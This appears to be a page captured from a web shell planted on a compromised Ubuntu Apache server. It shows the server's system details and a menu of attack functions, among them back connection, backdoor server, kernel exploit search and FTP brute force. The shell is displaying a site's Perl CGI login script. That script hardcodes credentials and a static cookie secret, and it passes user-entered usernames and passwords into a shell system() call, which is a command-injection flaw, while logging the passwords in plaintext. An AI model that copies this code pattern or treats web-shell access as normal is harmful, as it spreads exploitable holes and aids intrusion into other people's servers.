|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 27.29 GB of 70.42 GB (38.76%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
http/
cgi-bin/
auth/
- drwxr-xr-x
|
Viewing file: auth.cgi (3.04 KB) -rwxr-xr-xSelect action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
#!/usr/bin/perl
use CGI::Cookie; use CGI qw(:standard);
############### CONFIG ############### $cname = "cooke.site"; $csite = "192.168.200.13"; $dblogin = "user"; $dbpasswd = "password"; $title = "Заголовок авторизации"; $message = "Введите имя пользователя и пароль"; $link = "how-to-use.cgi"; $logfile = "file.log"; $secr = "secret"; ######################################
$authl = $ARGV[0]; $authp = $ARGV[1]; $logout = param("logout");
if ($logout eq "1") { my $cooke = cookie($cname); if ($cooke eq "") {print "Content-type: text/html\n\n<html><body><h1>Error</h1><hr>You are not logged on!</body></html>"; exit (0);}
$auth="0"; my $cook = cookie( -name => $cname, -value => '0', -expires => '1', -domain => $csite, -path => '/', ); $cook = sprintf header(-cookie=>$cook); ($cook) = split("charset=", $cook); $cook = sprintf ("%s charset=KOI8-R\n\n", $cook); print "$cook"; print "<html><meta http-equiv=\"refresh\" content=\"1;url=$link\"></html>"; exit (0);
}
$rip = $ENV{'REMOTE_ADDR'};
my $cooke = cookie($cname);
if ($cooke eq $secr) {print "Content-type: text/html\n\n"; exit(1);}
if ($authl ne "" or $authp ne "") {$ok = "2";} if ($authl eq "" and $authp eq "") { $ok = "0"; print "Content-type: text/html\n\n"; print "<html><head> <title>$title</title> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF8\"> <link type=\"text/css\" rel=\"stylesheet\" media=\"all\" href=\"style.css\" /> </head> <form name=\"form1\" action=\"$link\" method=\"POST\"> <font face=\"arial\"><center><h2>$message</h2><hr></center></font> <table border=0 align=center> <tr><td align=right><font face=\"arial\">Имя пользователя</td><td><font face=\"arial\"><input type=\"text\" name=\"authl\" tabindex=1></td></tr> <tr><td align=right><font face=\"arial\">Пароль</td><td><font face=\"arial\"><input type=\"password\" name=\"authp\" tabindex=2></td></tr> <tr><td></td><td><font face=\"arial\"><input type=\"submit\" value=\"Ок\" tabindex=3></td></tr></table> "; exit(2); }
if ($authl ne "") { if ($authl eq $dblogin and $authp eq $dbpasswd) {$ok = "1";} }
if ($ok eq "1") { my $cook = cookie( -name => $cname, -value => $secr, -expires => '0', -domain => $csite, -path => '/', ); $cook = sprintf header(-cookie=>$cook); ($cook) = split("charset=", $cook); $cook = sprintf ("%s charset=UTF8\n\n", $cook); print "$cook"; exit(1); }
if ($ok eq "2") { print "Content-type: text/html\n\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF8\"><font face=\"arial\"><center>Доступ запрещён!</font>"; if ($logfile ne "") { system ("echo \"Authentication error\nLogin: $authl\nPassword: $authp\nIP Address: $rip\n\" >> $logfile"); } exit(2); } if ($ok eq "0") { print "Content-type: text/html\n\n<html><body><center><h1>Access denyed</h1><hr></body></html>"; }
|